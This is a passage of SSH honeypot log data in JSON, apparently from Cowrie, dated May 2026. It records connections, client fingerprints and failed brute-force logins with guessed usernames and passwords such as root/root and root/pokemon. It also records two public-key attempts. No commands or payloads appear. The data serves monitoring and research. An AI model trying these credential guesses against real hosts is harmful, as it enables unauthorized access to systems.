{"eventid":"cowrie.session.connect","src_ip":"92.191.96.70","src_port":44742,"dst_ip":"10.17.0.5","dst_port":22,"session":"e613d0d0aa38","protocol":"ssh","message":"New connection: 92.191.96.70:44742 (10.17.0.5:22) [session: e613d0d0aa38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:11:49.428989Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:11:49.435997Z","src_ip":"92.191.96.70","session":"e613d0d0aa38","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:11:49.582314Z","src_ip":"92.191.96.70","session":"e613d0d0aa38","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"pokemon","message":"login attempt [root/pokemon] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:11:50.106265Z","src_ip":"92.191.96.70","session":"e613d0d0aa38","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.153.231.45","src_port":38792,"dst_ip":"159.203.135.109","dst_port":22,"session":"683bb4c9e146","protocol":"ssh","message":"New connection: 185.153.231.45:38792 (159.203.135.109:22) [session: 683bb4c9e146]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:11:50.253504Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:11:50.258652Z","src_ip":"185.153.231.45","session":"683bb4c9e146","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:11:50.391371Z","src_ip":"185.153.231.45","session":"683bb4c9e146","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"linux","password":"linux123","message":"login attempt [linux/linux123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:11:50.952250Z","src_ip":"185.153.231.45","session":"683bb4c9e146","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:11:51.230912Z","src_ip":"92.191.96.70","session":"e613d0d0aa38","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.1","message":"Connection lost after 5.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:11:51.318588Z","src_ip":"125.16.27.190","session":"f724d4a8f44a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:11:52.087328Z","src_ip":"185.153.231.45","session":"683bb4c9e146","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.33","src_port":52910,"dst_ip":"10.17.0.5","dst_port":22,"session":"f3fbdd8f82f6","protocol":"ssh","message":"New connection: 94.26.106.33:52910 (10.17.0.5:22) [session: f3fbdd8f82f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:11:53.453323Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:11:53.465999Z","src_ip":"94.26.106.33","session":"f3fbdd8f82f6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.33","src_port":52916,"dst_ip":"10.17.0.5","dst_port":22,"session":"3adbd1f29f23","protocol":"ssh","message":"New connection: 94.26.106.33:52916 (10.17.0.5:22) [session: 3adbd1f29f23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:11:53.630835Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.3","message":"Remote SSH version: SSH-2.0-libssh_0.11.3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:11:53.635060Z","src_ip":"94.26.106.33","session":"3adbd1f29f23","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"4ed0d5b0dc3be39c7f96ba3a3cc77895","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-cbc,aes128-cbc,aes192-cbc,aes256-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","3des-cbc","aes128-cbc","aes192-cbc","aes256-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 4ed0d5b0dc3be39c7f96ba3a3cc77895","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:11:53.723368Z","src_ip":"94.26.106.33","session":"3adbd1f29f23","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root","message":"login attempt [root/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:11:53.902178Z","src_ip":"94.26.106.33","session":"3adbd1f29f23","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:11:54.995131Z","src_ip":"94.26.106.33","session":"3adbd1f29f23","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"81.192.46.49","src_port":54052,"dst_ip":"159.203.135.109","dst_port":22,"session":"51f82af7b9ab","protocol":"ssh","message":"New connection: 81.192.46.49:54052 (159.203.135.109:22) [session: 51f82af7b9ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:12:00.753545Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:12:00.758783Z","src_ip":"81.192.46.49","session":"51f82af7b9ab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:12:00.873853Z","src_ip":"81.192.46.49","session":"51f82af7b9ab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Rootroot","message":"login attempt [root/Rootroot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:12:01.365741Z","src_ip":"81.192.46.49","session":"51f82af7b9ab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:12:02.484601Z","src_ip":"81.192.46.49","session":"51f82af7b9ab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"175.107.32.186","src_port":19353,"dst_ip":"10.17.0.5","dst_port":22,"session":"83434733a778","protocol":"ssh","message":"New connection: 175.107.32.186:19353 (10.17.0.5:22) [session: 83434733a778]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:12:16.033148Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:12:16.038171Z","src_ip":"175.107.32.186","session":"83434733a778","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.0.200.227","src_port":42620,"dst_ip":"159.203.135.109","dst_port":22,"session":"3cfebdb820e1","protocol":"ssh","message":"New connection: 107.0.200.227:42620 (159.203.135.109:22) [session: 3cfebdb820e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:12:16.207365Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:12:16.212824Z","src_ip":"107.0.200.227","session":"3cfebdb820e1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:12:16.247823Z","src_ip":"107.0.200.227","session":"3cfebdb820e1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:12:16.264356Z","src_ip":"175.107.32.186","session":"83434733a778","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"contacts","message":"login attempt [root/contacts] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:12:16.411484Z","src_ip":"107.0.200.227","session":"3cfebdb820e1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"extrim","message":"login attempt [root/extrim] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:12:17.152658Z","src_ip":"175.107.32.186","session":"83434733a778","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:12:17.447824Z","src_ip":"107.0.200.227","session":"3cfebdb820e1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:12:18.373552Z","src_ip":"175.107.32.186","session":"83434733a778","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.16.180.28","src_port":46248,"dst_ip":"10.17.0.5","dst_port":22,"session":"89787e77db55","protocol":"ssh","message":"New connection: 154.16.180.28:46248 (10.17.0.5:22) [session: 89787e77db55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:12:29.771517Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:12:29.777028Z","src_ip":"154.16.180.28","session":"89787e77db55","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:12:29.868229Z","src_ip":"154.16.180.28","session":"89787e77db55","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e5:a0:e1:1c:d3:55:75:df:7b:72:36:e8:ab:37:b4:fb","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAxez9LJ4mH74jr9o3ohlBXEYDvPscukalrWaUnA11SMgWtHiySUE6j5iX/mga7bImyWByTHb0XUBwzUQbwD3p81fV8QrV06zxGgR4v6YOQysclixlduOe7/l3zPD/ZZ0veHqfrai/ytuNYJAYTMTDsNi5d2XBeUt3zyeDxKsZ/+cINs5AcdhczKVBXbF0GUiVsIYBeL91yql0lpyK7Zu+R1JnyGIT28HNUaVkSzckRak2dCsXJvJlcS9pmWb9udxqCT8KN6iE8Wo1a6LPyU8EVwhSw2Je4PIR3240ketlLbsLJdzUbfhVmHc56X53lhzt3kcZx/4al/FVfPu4+Wv4rQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e5:a0:e1:1c:d3:55:75:df:7b:72:36:e8:ab:37:b4:fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:12:30.295144Z","src_ip":"154.16.180.28","session":"89787e77db55","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e5:a0:e1:1c:d3:55:75:df:7b:72:36:e8:ab:37:b4:fb","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAxez9LJ4mH74jr9o3ohlBXEYDvPscukalrWaUnA11SMgWtHiySUE6j5iX/mga7bImyWByTHb0XUBwzUQbwD3p81fV8QrV06zxGgR4v6YOQysclixlduOe7/l3zPD/ZZ0veHqfrai/ytuNYJAYTMTDsNi5d2XBeUt3zyeDxKsZ/+cINs5AcdhczKVBXbF0GUiVsIYBeL91yql0lpyK7Zu+R1JnyGIT28HNUaVkSzckRak2dCsXJvJlcS9pmWb9udxqCT8KN6iE8Wo1a6LPyU8EVwhSw2Je4PIR3240ketlLbsLJdzUbfhVmHc56X53lhzt3kcZx/4al/FVfPu4+Wv4rQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:12:30.299045Z","src_ip":"154.16.180.28","session":"89787e77db55","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"1d:c3:12:17:8b:ab:bd:14:b7:21:a6:6e:91:de:14:16","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDeZ2ExCMWlryvHvKO29M6UM8zf3p1ZIOeDUX8f/vXx1VGHXfBUZ3+8SwHstHYDfZ3bRE6zvXg3ppXdg/vNE0mOAbGioefM/mBzQy1LUuDd8ONeN3EsCa5eTSMt0VRIz8UiZ1luA7lXhmUq0z9G0kpAuVuL4M+BA/B8+dAj4RQBRdPZQfmzMYDChH2pDD4LykOyK3eDl/PbOaRSyRSrk/9UrJr7V6yJRRTgXWRhxLsqXrTrmXbCwjV4GDl1cVJXr71tKxjiHYZchD+DC4Al26J+daLr7xXWfRiBN6CqKlqwHCgevICAFQ7zHRE46W30lfOH6qFQolNEjfWhD5X6gmXt","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 1d:c3:12:17:8b:ab:bd:14:b7:21:a6:6e:91:de:14:16","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:12:30.388978Z","src_ip":"154.16.180.28","session":"89787e77db55","protocol":"ssh"}
